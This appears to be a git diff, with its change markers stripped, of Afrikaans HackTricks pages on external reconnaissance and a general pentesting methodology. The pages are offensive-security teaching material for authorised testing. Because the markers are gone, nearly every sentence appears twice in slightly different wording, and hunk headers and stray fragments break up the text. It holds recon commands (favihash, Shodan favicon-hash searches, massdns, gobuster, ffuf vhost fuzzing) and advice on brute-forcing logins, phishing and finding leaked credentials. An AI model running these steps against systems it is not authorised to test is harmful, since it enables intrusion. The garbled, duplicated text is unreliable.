Het jy geweet dat ons verwante domeine en subdomeine aan ons teiken kan vind deur te soek na dieselfde favicon ikoon hash? Dit is presies wat die [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) hulpmiddel gemaak deur [@m4ll0k2](https://twitter.com/m4ll0k2) doen. Hier is hoe om dit te gebruik:
Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Heres how to use it:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
```
![favihash - ontdek domeine met dieselfde favicon ikoon hash](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
Eenvoudig gestel, favihash sal ons toelaat om domeine te ontdek wat dieselfde favicon ikoon hash as ons teiken het.
Eenvoudig gestel, favihash sal ons toelaat om domeine te ontdek wat dieselfde favicon ikoon hash het as ons teiken.
Boonop kan jy ook tegnologieë soek met behulp van die favicon hash soos verduidelik in [**hierdie blogpos**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Dit beteken dat as jy die **hash van die favicon van 'n kwesbare weergawe van 'n web tegnologie** ken, jy kan soek in shodan en **meer kwesbare plekke vind**:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
Dit is hoe jy die **favicon-hash** van 'n web kan **bereken**:
Dit is hoe jy die **favicon-has** van 'n web kan **bereken**:
```python
import mmh3
import requests
@ -346,7 +346,7 @@ Jy kan 'n **vergelyking** van baie van hierdie gereedskap hier vind: [https://bl
### **DNS Brute force**
Kom ons probeer om nuwe **subdomeine** te vind deur DNS-bedieners te brute-forse met moontlike subdomeinname.
Kom ons probeer om nuwe **subdomeine** te vind deur DNS-bedieners te brute-force met moontlike subdomeinname.
Vir hierdie aksie sal jy 'n paar **gewone subdomein woordlyste soos** nodig hê:
@ -366,11 +366,11 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
* [**gobuster**](https://github.com/OJ/gobuster): Hierdie een gebruik glo net 1 resolver
* [**gobuster**](https://github.com/OJ/gobuster): Hierdie een gebruik ek dink net 1 oplosser
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is 'n wrapper rondom `massdns`, geskryf in go, wat jou toelaat om geldige subdomeine te enumereer deur aktiewe bruteforce, sowel as om subdomeine met wildcard hantering en maklike invoer-uitvoer ondersteuning op te los.
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is 'n wrapper rondom `massdns`, geskryf in go, wat jou toelaat om geldige subdomeine te enumereer deur aktiewe bruteforce, sowel as om subdomeine op te los met wildcard hantering en maklike invoer-uitvoer ondersteuning.
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@ -391,7 +391,7 @@ Nadat jy subdomeine gevind het met behulp van oop bronne en brute-forcing, kan j
cat subdomains.txt | dnsgen -
```
* [**goaltdns**](https://github.com/subfinder/goaltdns): Gegewe die domeine en subdomeine genereer permutasies.
* Jy kan goaltdns permutasies **woordlys** kry in [**hier**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
* Jy kan goaltdns permutasies **woordlys** in [**hier**](https://github.com/subfinder/goaltdns/blob/master/words.txt) kry.
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
@ -400,17 +400,17 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
* [**altdns**](https://github.com/infosec-au/altdns): Behalwe om subdomein permutasies te genereer, kan dit ook probeer om hulle op te los (maar dit is beter om die vorige genoem gereedskap te gebruik).
* Jy kan altdns permutasies **woordlys** kry [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt).
* Jy kan altdns permutasies **woordlys** kry in [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt).
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
* [**dmut**](https://github.com/bp0lr/dmut): Nog 'n hulpmiddel om permutasies, mutasies en verandering van subdomeine uit te voer. Hierdie hulpmiddel sal die resultaat brute force (dit ondersteun nie dns wild card nie).
* [**dmut**](https://github.com/bp0lr/dmut): Nog 'n hulpmiddel om permutasies, mutasies en veranderinge van subdomeine uit te voer. Hierdie hulpmiddel sal die resultaat brute force (dit ondersteun nie dns wild card nie).
* Jy kan dmut permutasies woordlys in [**hier**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) kry.
```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
```
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Gebaseer op 'n domein, **genereer dit nuwe potensiële subdomeinnaam** gebaseer op aangeduidde patrone om te probeer om meer subdomeine te ontdek.
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Gebaseer op 'n domein, **genereer dit nuwe potensiële subdomeinnames** gebaseer op aangeduidde patrone om te probeer om meer subdomeine te ontdek.
#### Slim permutasiegenerasie
@ -426,7 +426,7 @@ echo www | subzuf facebook.com
```
### **Subdomein Ontdekking Werkvloei**
Kyk na hierdie blogpos wat ek geskryf het oor hoe om die **subdomein ontdekking** van 'n domein te **automateer** met behulp van **Trickest werkvloei** sodat ek nie 'n klomp gereedskap handmatig op my rekenaar hoef te begin nie:
Kyk na hierdie blogpos wat ek geskryf het oor hoe om **subdomein ontdekking** van 'n domein te **automateer** met behulp van **Trickest werkvloei** sodat ek nie 'n klomp gereedskap handmatig op my rekenaar hoef te begin nie:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
@ -434,7 +434,7 @@ Kyk na hierdie blogpos wat ek geskryf het oor hoe om die **subdomein ontdekking*
### **VHosts / Virtuele Gashere**
As jy 'n IP-adres gevind het wat **een of verskeie webbladsye** bevat wat aan subdomeine behoort, kan jy probeer om **ander subdomeine met webbladsye in daardie IP** te vind deur in **OSINT bronne** te kyk vir domeine in 'n IP of deur **brute-force VHost domeinnaam in daardie IP**.
As jy 'n IP-adres gevind het wat **een of verskeie webbladsye** bevat wat aan subdomeine behoort, kan jy probeer om **ander subdomeine met webbladsye in daardie IP** te **vind** deur in **OSINT bronne** te kyk vir domeine in 'n IP of deur **brute-force VHost domeinnaam in daardie IP**.
#### OSINT
@ -442,7 +442,7 @@ Jy kan 'n paar **VHosts in IPs vind met behulp van** [**HostHunter**](https://gi
**Brute Force**
As jy vermoed dat 'n subdomein in 'n webbediener versteek kan wees, kan jy probeer om dit te brute-force:
As jy vermoed dat 'n subdomein in 'n webbediener versteek kan wees, kan jy probeer om dit te brute force:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -469,26 +469,26 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
### **Buckets Brute Force**
Terwyl jy na **subdomeine** soek, hou 'n oog op of dit na enige tipe **emmer** **wys**, en in daardie geval [**kontroleer die toestemmings**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Ook, aangesien jy op hierdie punt al die domeine binne die omvang sal weet, probeer om [**emmername te brute force en die toestemmings te kontroleer**](../../network-services-pentesting/pentesting-web/buckets/).
Ook, aangesien jy op hierdie punt al die domeine binne die omvang sal weet, probeer om [**brute force moontlike emmer name en kontroleer die toestemmings**](../../network-services-pentesting/pentesting-web/buckets/).
### **Monitorisering**
Jy kan **moniteer** of **nuwe subdomeine** van 'n domein geskep word deur die **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) te monitor.
Jy kan **moniteer** of **nuwe subdomeine** van 'n domein geskep word deur die **Sertifikaat Deursigtigheid** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) te monitor.
### **Soek na kwesbaarhede**
Kontroleer vir moontlike [**subdomein oorneem**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
As die **subdomein** na 'n **S3-emmer** **wys**, [**kontroleer die toestemmings**](../../network-services-pentesting/pentesting-web/buckets/).
As die **subdomein** na 'n **S3 emmer** **wys**, [**kontroleer die toestemmings**](../../network-services-pentesting/pentesting-web/buckets/).
As jy enige **subdomein met 'n IP verskil** van diegene wat jy reeds in die batesontdekking gevind het, moet jy 'n **basiese kwesbaarheidsskandering** (met Nessus of OpenVAS) en 'n [**poortskaande**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan** uitvoer. Afhangende van watter dienste aan die gang is, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\
As jy enige **subdomein met 'n IP verskil** van diegene wat jy reeds in die bates ontdek het, vind, moet jy 'n **basiese kwesbaarheid skandering** (met Nessus of OpenVAS) en 'n paar [**poort skandering**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan** uitvoer. Afhangende van watter dienste aan die gang is, kan jy in **hierdie boek 'n paar truuks vind om hulle "aan te val"**.\
_Nota dat soms die subdomein gehos is binne 'n IP wat nie deur die kliënt beheer word nie, so dit is nie in die omvang nie, wees versigtig._
## IPs
In die aanvanklike stappe mag jy **sommige IP-reekse, domeine en subdomeine** **gevind het**.\
Dit is tyd om **al die IPs van daardie reekse te versamel** en vir die **domeine/subdomeine (DNS-vrae).**
In die aanvanklike stappe het jy dalk **sommige IP-reekse, domeine en subdomeine** **gevind**.\
Dit is tyd om **al die IPs van daardie reekse te versamel** en vir die **domeine/subdomeine (DNS vrae).**
Deur dienste van die volgende **gratis API's** te gebruik, kan jy ook **vorige IPs wat deur domeine en subdomeine gebruik is, vind**. Hierdie IPs mag steeds deur die kliënt besit word (en mag jou toelaat om [**CloudFlare omseilings**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) te vind)
Deur dienste van die volgende **gratis apis** te gebruik, kan jy ook **vorige IPs wat deur domeine en subdomeine gebruik is, vind**. Hierdie IPs mag steeds deur die kliënt besit word (en mag jou toelaat om [**CloudFlare omseilings**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) te vind)
* [**https://securitytrails.com/**](https://securitytrails.com/)
@ -496,20 +496,20 @@ Jy kan ook kyk vir domeine wat na 'n spesifieke IP-adres wys met die hulpmiddel
### **Soek na kwesbaarhede**
**Poortskaande al die IPs wat nie aan CDN's behoort nie** (aangesien jy hoogs waarskynlik niks interessant daar sal vind nie). In die lopende dienste wat ontdek is, mag jy **kwesbaarhede vind**.
**Poort skandeer al die IPs wat nie aan CDN's behoort nie** (aangesien jy hoogs waarskynlik niks interessant daar sal vind nie). In die lopende dienste wat ontdek is, mag jy **in staat wees om kwesbaarhede te vind**.
**Vind 'n** [**gids**](../pentesting-network/) **oor hoe om gashere te skandeer.**
## Webbedieners jag
## Web bedieners jag
> Ons het al die maatskappye en hul bates gevind en ons weet IP-reekse, domeine en subdomeine binne die omvang. Dit is tyd om na webbedieners te soek.
> Ons het al die maatskappye en hul bates gevind en ons weet IP-reekse, domeine en subdomeine binne die omvang. Dit is tyd om na web bedieners te soek.
In die vorige stappe het jy waarskynlik al 'n paar **recon van die IPs en domeine ontdek** gedoen, so jy mag **al die moontlike webbedieners** **gevind het**. As jy egter nie, gaan ons nou 'n paar **vinnige truuks kyk om webbedieners** binne die omvang te soek.
In die vorige stappe het jy waarskynlik al 'n paar **recon van die IPs en domeine ontdek** uitgevoer, so jy mag **al die moontlike web bedieners** **gevind het**. As jy egter nie, gaan ons nou 'n paar **vinnige truuks kyk om web bedieners** binne die omvang te soek.
Neem asseblief kennis dat dit **georiënteer sal wees op webtoepassingsontdekking**, so jy moet ook **die kwesbaarheid** en **poortskaande** uitvoer (**as toegelaat** deur die omvang).
Let asseblief daarop dat dit **georiënteer sal wees op web apps ontdekking**, so jy moet ook **die kwesbaarheid** en **poort skandering** uitvoer (**indien toegelaat** deur die omvang).
'n **Vinnige metode** om **oop poorte** wat verband hou met **web** bedieners te ontdek, kan met [**masscan** hier gevind word](../pentesting-network/#http-port-discovery).\
Nog 'n vriendelike hulpmiddel om na webbedieners te soek is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) en [**httpx**](https://github.com/projectdiscovery/httpx). Jy gee net 'n lys van domeine en dit sal probeer om met poort 80 (http) en 443 (https) te verbind. Daarbenewens kan jy aandui om ander poorte te probeer:
'n **Vinnige metode** om **oop poorte** wat verband hou met **web** bedieners te ontdek, kan [**masscan** hier gevind word](../pentesting-network/#http-port-discovery).\
Nog 'n vriendelike hulpmiddel om na web bedieners te soek is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) en [**httpx**](https://github.com/projectdiscovery/httpx). Jy gee net 'n lys van domeine en dit sal probeer om met poort 80 (http) en 443 (https) te verbind. Daarbenewens kan jy aandui om ander poorte te probeer:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
@ -518,13 +518,13 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
Nou dat jy **alle webbedieners** in die omvang ontdek het (tussen die **IP's** van die maatskappy en al die **domeine** en **subdomeine**) weet jy waarskynlik **nie waar om te begin nie**. Laat ons dit eenvoudig maak en net skermskootte van al hulle neem. Net deur **na die hoofblad** te **kyk** kan jy **vreemde** eindpunte vind wat meer **geneig** is om **kwulnerabel** te wees.
Om die voorgestelde idee uit te voer, kan jy [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) of [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
Om die voorgestelde idee uit te voer, kan jy [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) of [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
Boonop kan jy dan [**eyeballer**](https://github.com/BishopFox/eyeballer) gebruik om oor al die **skermskootte** te loop om jou te vertel **wat waarskynlik kwesbaarhede bevat**, en wat nie.
## Publieke Wolk Bate
Om potensiële wolk bate wat aan 'n maatskappy behoort te vind, moet jy **begin met 'n lys van sleutelwoorde wat daardie maatskappy identifiseer**. Byvoorbeeld, 'n crypto vir 'n crypto maatskappy kan jy woorde soos: `"crypto", "wallet", "dao", "<domein_naam>", <"subdomein_namme">` gebruik.
Om potensiële wolk bate wat aan 'n maatskappy behoort te vind, moet jy **begin met 'n lys van sleutelwoorde wat daardie maatskappy identifiseer**. Byvoorbeeld, vir 'n kripto maatskappy kan jy woorde soos: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">` gebruik.
Jy sal ook woordlyste van **gewone woorde wat in emmers gebruik word** benodig:
@ -555,7 +555,7 @@ Met die **domeine** en **subdomeine** binne die omvang het jy basies alles wat j
E-posse sal later handig wees om **brute-force web aanmeldings en outentikasiedienste** (soos SSH) te doen. Ook, hulle is nodig vir **phishings**. Boonop sal hierdie API's jou selfs meer **inligting oor die persoon** agter die e-pos gee, wat nuttig is vir die phishing veldtog.
## Kredensiaal Leke
## Kredensiaal Lekke
Met die **domeine,** **subdomeine**, en **e-posse** kan jy begin soek na kredensiale wat in die verlede gelek het wat aan daardie e-posse behoort:
@ -566,16 +566,16 @@ Met die **domeine,** **subdomeine**, en **e-posse** kan jy begin soek na kredens
As jy **geldige gelekte** kredensiale vind, is dit 'n baie maklike oorwinning.
## Geheime Leke
## Geheime Lekke
Kredensiaal leke is verwant aan hacks van maatskappye waar **sensitiewe inligting gelek en verkoop is**. egter, maatskappye mag geraak word deur **ander leke** waarvan die inligting nie in daardie databasisse is nie:
Kredensiaal lekke is verwant aan hacks van maatskappye waar **sensitiewe inligting gelek en verkoop is**. egter, maatskappye mag geraak word deur **ander lekke** waarvan die inligting nie in daardie databasisse is nie:
### Github Leke
### Github Lekke
Kredensiale en API's mag in die **openbare repositories** van die **maatskappy** of van die **gebruikers** wat vir daardie github maatskappy werk, gelek word.\
Jy kan die **gereedskap** [**Leakos**](https://github.com/carlospolop/Leakos) gebruik om **alle openbare repos** van 'n **organisasie** en sy **ontwikkelaars** af te laai en [**gitleaks**](https://github.com/zricethezav/gitleaks) daaroor outomaties te laat loop.
**Leakos** kan ook gebruik word om **gitleaks** teen alle **teks** te laat loop wat **URL's** aan dit gegee word, aangesien **webbladsye ook geheime kan bevat**.
**Leakos** kan ook gebruik word om **gitleaks** teen alle **teks** te laat loop wat **URL's aan dit gegee** is, aangesien **webbladsye ook geheime kan bevat**.
#### Github Dorks
@ -585,7 +585,7 @@ Kyk ook na hierdie **bladsy** vir potensiële **github dorks** wat jy ook in die
[github-leaked-secrets.md](github-leaked-secrets.md)
{% endcontent-ref %}
### Paste Leke
### Paste Lekke
Soms sal aanvallers of net werkers **maatskappy-inhoud op 'n paste site publiseer**. Dit mag of mag nie **sensitiewe inligting** bevat nie, maar dit is baie interessant om daarna te soek.\
Jy kan die gereedskap [**Pastos**](https://github.com/carlospolop/Pastos) gebruik om in meer as 80 paste sites terselfdertyd te soek.
@ -594,7 +594,7 @@ Jy kan die gereedskap [**Pastos**](https://github.com/carlospolop/Pastos) gebrui
Ou maar goud google dorks is altyd nuttig om **blootgestelde inligting wat daar nie behoort te wees nie** te vind. Die enigste probleem is dat die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) verskeie **duisende** moontlike navrae bevat wat jy nie handmatig kan uitvoer nie. So, jy kan jou gunsteling 10 kies of jy kan 'n **gereedskap soos** [**Gorks**](https://github.com/carlospolop/Gorks) **gebruik om hulle almal uit te voer**.
_Noteer dat die gereedskap wat verwag om die hele databasis met die gewone Google-blaaier te laat loop, nooit sal eindig nie, aangesien Google jou baie gou sal blokkeer._
_Nota dat die gereedskap wat verwag om die hele databasis met die gewone Google-blaaier te laat loop, nooit sal eindig nie, aangesien google jou baie gou sal blokkeer._
### **Soek na kwesbaarhede**
@ -602,7 +602,7 @@ As jy **geldige gelekte** kredensiale of API tokens vind, is dit 'n baie maklike
## Publieke Kode Kwesbaarhede
As jy gevind het dat die maatskappy **open-source kode** het, kan jy dit **analiseer** en soek na **kwesbaarhede** daarin.
As jy gevind het dat die maatskappy **oopbron kode** het, kan jy dit **analiseer** en soek na **kwesbaarhede** daarin.
**Afhangende van die taal** is daar verskillende **gereedskap** wat jy kan gebruik:
@ -616,7 +616,7 @@ Daar is ook gratis dienste wat jou toelaat om **openbare repositories** te **ska
## [**Pentesting Web Metodologie**](../../network-services-pentesting/pentesting-web/)
Die **meerderheid van die kwesbaarhede** wat deur foutjagters gevind word, is binne **webtoepassings**, so op hierdie punt wil ek oor 'n **webtoepassing toets metodologie** praat, en jy kan [**hierdie inligting hier vind**](../../network-services-pentesting/pentesting-web/).
Die **meerderheid van die kwesbaarhede** wat deur foutjagters gevind word, is binne **webtoepassings**, so op hierdie punt wil ek graag oor 'n **webtoepassing toets metodologie** praat, en jy kan [**hierdie inligting hier vind**](../../network-services-pentesting/pentesting-web/).
Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde Skandeerders open source gereedskap**](../../network-services-pentesting/pentesting-web/#automatic-scanners), aangesien, as jy nie moet verwag dat hulle baie sensitiewe kwesbaarhede sal vind nie, hulle handig is om dit in **werkvloei te implementeer om 'n paar aanvanklike webinligting te hê.**
@ -626,14 +626,14 @@ Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde
So jy het reeds:
1. Alle **maatskappye** binne die omvang gevind
1. Alle **maatskappye** in die omvang gevind
2. Alle **bates** wat aan die maatskappye behoort gevind (en 'n paar kwesbaarheid skandeer as dit in omvang is)
3. Alle **domeine** wat aan die maatskappye behoort gevind
4. Alle **subdomeine** van die domeine gevind (enige subdomein oorneem?)
5. Alle **IP's** (van en **nie van CDN's**) binne die omvang gevind.
5. Alle **IP's** (van en **nie van CDN's**) in die omvang gevind.
6. Alle **webbedieners** gevind en 'n **skermskoot** daarvan geneem (iets vreemd wat 'n dieper kyk werd is?)
7. Alle **potensiële publieke wolk bates** wat aan die maatskappy behoort gevind.
8. **E-posse**, **kredensiaal leke**, en **geheime leke** wat jou 'n **groot oorwinning baie maklik kan gee**.
8. **E-posse**, **kredensiaal lekke**, en **geheime lekke** wat jou 'n **groot oorwinning baie maklik** kan gee.
9. **Pentesting al die webwerwe wat jy gevind het**
## **Volledige Recon Outomatiese Gereedskap**
@ -649,7 +649,7 @@ Daar is verskeie gereedskap daar buite wat 'n deel van die voorgestelde aksies t
* Alle gratis kursusse van [**@Jhaddix**](https://twitter.com/Jhaddix) soos [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).

View file

@ -10,14 +10,14 @@ Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-siz
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacking truuks deur PRs in te dien aan die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -29,7 +29,7 @@ _Hacktricks logo's ontwerp deur_ [_@ppiernacho_](https://www.instagram.com/ppier
### 0- Fisiese Aanvalle
Het jy **fisiese toegang** tot die masjien wat jy wil aanval? Jy moet 'n paar [**truuks oor fisiese aanvalle**](../hardware-physical-access/physical-attacks.md) en ander oor [**ontsnapping van GUI-toepassings**](../hardware-physical-access/escaping-from-gui-applications.md) lees.
Het jy **fisiese toegang** tot die masjien wat jy wil aanval? Jy moet 'n paar [**truuks oor fisiese aanvalle**](../hardware-physical-access/physical-attacks.md) en ander oor [**ontsnapping uit GUI-toepassings**](../hardware-physical-access/escaping-from-gui-applications.md) lees.
### 1 - [Ontdek hosts binne die netwerk](pentesting-network/#discovering-hosts)/ [Ontdek bates van die maatskappy](external-recon-methodology/)
@ -42,7 +42,7 @@ Let daarop dat as jy 'n eksterne toets uitvoer, sodra jy daarin slaag om toegang
### **2-** [**Geniet die netwerk**](pentesting-network/) **(Intern)**
**Hierdie afdeling geld slegs as jy 'n interne toets uitvoer.**\
Voordat jy 'n host aanval, mag jy verkies om **sommige akrediteer te steel** **van die netwerk** of **sniff** sommige **data** om **passief/aktief (MitM)** te leer wat jy binne die netwerk kan vind. Jy kan [**Pentesting Netwerk**](pentesting-network/#sniffing) lees.
Voordat jy 'n host aanval, mag jy verkies om **sommige akrediteer te steel** **van die netwerk** of **sniff** sommige **data** om **passief/aktief (MitM)** te leer wat jy binne die netwerk kan vind. Jy kan [**Pentesting Network**](pentesting-network/#sniffing) lees.
### 3- [Poort Skandering - Diens ontdekking](pentesting-network/#scanning-hosts)
@ -61,7 +61,7 @@ As daar nie enige fancy exploit vir enige lopende diens is nie, moet jy soek na
**Ek wil 'n spesiale vermelding maak van die** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **deel (aangesien dit die mees uitgebreide een is).**\
Ook, 'n klein gids oor hoe om [**bekende kwesbaarhede in sagteware te vind**](search-exploits.md) kan hier gevind word.
**As jou diens nie in die indeks is nie, soek in Google** vir ander tutoriaal en **laat my weet as jy wil hê ek moet dit byvoeg.** As jy **niks kan vind** in Google nie, voer jou **eie blinde pentesting** uit, jy kan begin deur **aan die diens te koppel, dit te fuzz en die antwoorde te lees** (indien enige).
**As jou diens nie in die indeks is nie, soek in Google** vir ander tutorials en **laat weet as jy wil hê ek moet dit byvoeg.** As jy **niks kan vind** in Google nie, voer jou **eie blinde pentesting** uit, jy kan begin deur **aan die diens te koppel, dit te fuzz en die antwoorde te lees** (indien enige).
#### 5.1 Outomatiese Gereedskap
@ -73,7 +73,7 @@ In sommige scenario's kan 'n **Brute-Force** nuttig wees om 'n **diens** te **ko
### 6- [Phishing](phishing-methodology/)
As jy op hierdie punt nie enige interessante kwesbaarheid gevind het nie, mag jy **moet probeer om 'n paar phishing** om binne die netwerk te kom. Jy kan my phishing metodologie [hier](phishing-methodology/) lees:
As jy op hierdie punt nie enige interessante kwesbaarheid gevind het nie, **moet jy dalk probeer om 'n bietjie phishing** om binne die netwerk te kom. Jy kan my phishing metodologie [hier](phishing-methodology/) lees:
### **7-** [**Kry Shell**](reverse-shells/)
@ -110,7 +110,7 @@ Jy moet ook hierdie bladsye oor hoe **Windows werk** nagaan:
#### **10.2- Domein Privesc**
Hier kan jy 'n [**metodologie vind wat die mees algemene aksies verduidelik om te enumerate, privileges te eskaleer en volharding op 'n Aktiewe Gids**](../windows-hardening/active-directory-methodology/). Alhoewel dit net 'n subafdeling van 'n afdeling is, kan hierdie proses **uiters delikaat** wees op 'n Pentesting/Red Team opdrag.
Hier kan jy 'n [**metodologie vind wat die mees algemene aksies verduidelik om te enumerate, privileges te eskaleer en volhard op 'n Aktiewe Gids**](../windows-hardening/active-directory-methodology/). Alhoewel dit net 'n subafdeling van 'n afdeling is, kan hierdie proses **uiters delikaat** wees op 'n Pentesting/Red Team opdrag.
### 11 - POST
@ -129,7 +129,7 @@ TODO: Voltooi volharding Post in Windows & Linux
### 12 - Pivoting
Met die **versamelde akrediteer** kan jy toegang tot ander masjiene hê, of dalk moet jy **nuwe hosts ontdek en skandeer** (begin die Pentesting Metodologie weer) binne nuwe netwerke waar jou slagoffer gekoppel is.\
In hierdie geval kan tonnelering nodig wees. Hier kan jy [**'n pos oor tonnelering vind**](tunneling-and-port-forwarding.md).\
In hierdie geval kan tunneling nodig wees. Hier kan jy [**'n pos oor tunneling**](tunneling-and-port-forwarding.md) vind.\
Jy moet beslis ook die pos oor [Aktiewe Gids pentesting Metodologie](../windows-hardening/active-directory-methodology/) nagaan. Daar sal jy oulike truuks vind om lateraal te beweeg, privileges te eskaleer en akrediteer te dump.\
Kyk ook na die bladsy oor [**NTLM**](../windows-hardening/ntlm/), dit kan baie nuttig wees om op Windows omgewings te pivot.
@ -151,9 +151,9 @@ Kyk ook na die bladsy oor [**NTLM**](../windows-hardening/ntlm/), dit kan baie n
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -167,7 +167,7 @@ Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-siz
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
